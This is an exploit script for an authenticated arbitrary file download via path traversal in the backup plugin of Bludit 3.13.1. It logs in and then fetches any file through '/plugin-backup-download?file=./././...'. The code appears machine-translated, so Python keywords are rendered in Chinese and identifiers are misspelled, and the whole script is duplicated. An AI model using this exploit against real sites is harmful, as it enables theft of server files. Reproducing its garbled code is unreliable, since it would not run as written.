# - * - 编码: UTF-8 - * -
#/usr/bin/env Python
#利用标题: Bludit 3.13.1备份插件- 任意文件下载(认证)
#日期: 2022-07-21
#利用作者: Antonio Cuomo(Arkantolo)
#供应商HomePage: https://www.bludit.com
#软件link: https://github.com/bludit/bludit
#版本: 3.13.1
#测试在: Debian 10 -PHP版本: 7.3.14
导入请求
导入argparse
来自BS4 Import Beautifuresoup#PIP3安装Beautifutsoup4
def main():
parser=argparse.argumentparser(description='Bludit 3.13.1-备份插件- 任意文件下载(身份验证)')
parser.add_argument(' - x',' - url',type=str,必需=true)
parser.add_argument(' - u',' - user',type=str,必需=true)
parser.add_argument(' - p',' - password',type=str,quirte=true)
parser.add_argument(' - f','' - file',type=str,quirte=true)
args=parser.parse_args()
print('\ nbludit 3.13.1-备份插件- 任意文件下载(身份验证)','\ nexploit作者: antonio cuomo(arkantolo)\ n')
利用(args)
DEF漏洞利用(ARGS):
s2=requests.session()
url=args.url.rstrip('/')
#get csrf令牌
r=s2.get(url+'/admin/')
汤=beautifutsoup(r.text,'html.parser')
formToken=soup.find('输入',{'name':'sokencsrf'})['value']
#登录
body={'tokencsrf':formtoken,'username':args.user,'password':args.password}
r=s2.post(url+'/admin/',data=hody,lashe_redirects=false)
if(r.status_code==301和r.headers ['location']。查找('/admin/dashboard')!=-1):
打印('[*]登录OK')
其他:
打印('[*]登录失败')
出口(1)
#arbitrary下载
r=s2.get(url+'/plugin-backup-download?file=./././././././././././'+args.file)
if(r.status_code==200和len(r.content)0):
打印('[*] file:')
印刷(R.Text)
其他:
打印('[*]利用失败')
出口(1)
如果name=='__ -Main __':
主要的()
#/usr/bin/env Python
#利用标题: Bludit 3.13.1备份插件- 任意文件下载(认证)
#日期: 2022-07-21
#利用作者: Antonio Cuomo(Arkantolo)
#供应商HomePage: https://www.bludit.com
#软件link: https://github.com/bludit/bludit
#版本: 3.13.1
#测试在: Debian 10 -PHP版本: 7.3.14
导入请求
导入argparse
来自BS4 Import Beautifuresoup#PIP3安装Beautifutsoup4
def main():
parser=argparse.argumentparser(description='Bludit 3.13.1-备份插件- 任意文件下载(身份验证)')
parser.add_argument(' - x',' - url',type=str,必需=true)
parser.add_argument(' - u',' - user',type=str,必需=true)
parser.add_argument(' - p',' - password',type=str,quirte=true)
parser.add_argument(' - f','' - file',type=str,quirte=true)
args=parser.parse_args()
print('\ nbludit 3.13.1-备份插件- 任意文件下载(身份验证)','\ nexploit作者: antonio cuomo(arkantolo)\ n')
利用(args)
DEF漏洞利用(ARGS):
s2=requests.session()
url=args.url.rstrip('/')
#get csrf令牌
r=s2.get(url+'/admin/')
汤=beautifutsoup(r.text,'html.parser')
formToken=soup.find('输入',{'name':'sokencsrf'})['value']
#登录
body={'tokencsrf':formtoken,'username':args.user,'password':args.password}
r=s2.post(url+'/admin/',data=hody,lashe_redirects=false)
if(r.status_code==301和r.headers ['location']。查找('/admin/dashboard')!=-1):
打印('[*]登录OK')
其他:
打印('[*]登录失败')
出口(1)
#arbitrary下载
r=s2.get(url+'/plugin-backup-download?file=./././././././././././'+args.file)
if(r.status_code==200和len(r.content)0):
打印('[*] file:')
印刷(R.Text)
其他:
打印('[*]利用失败')
出口(1)
如果name=='__ -Main __':
主要的()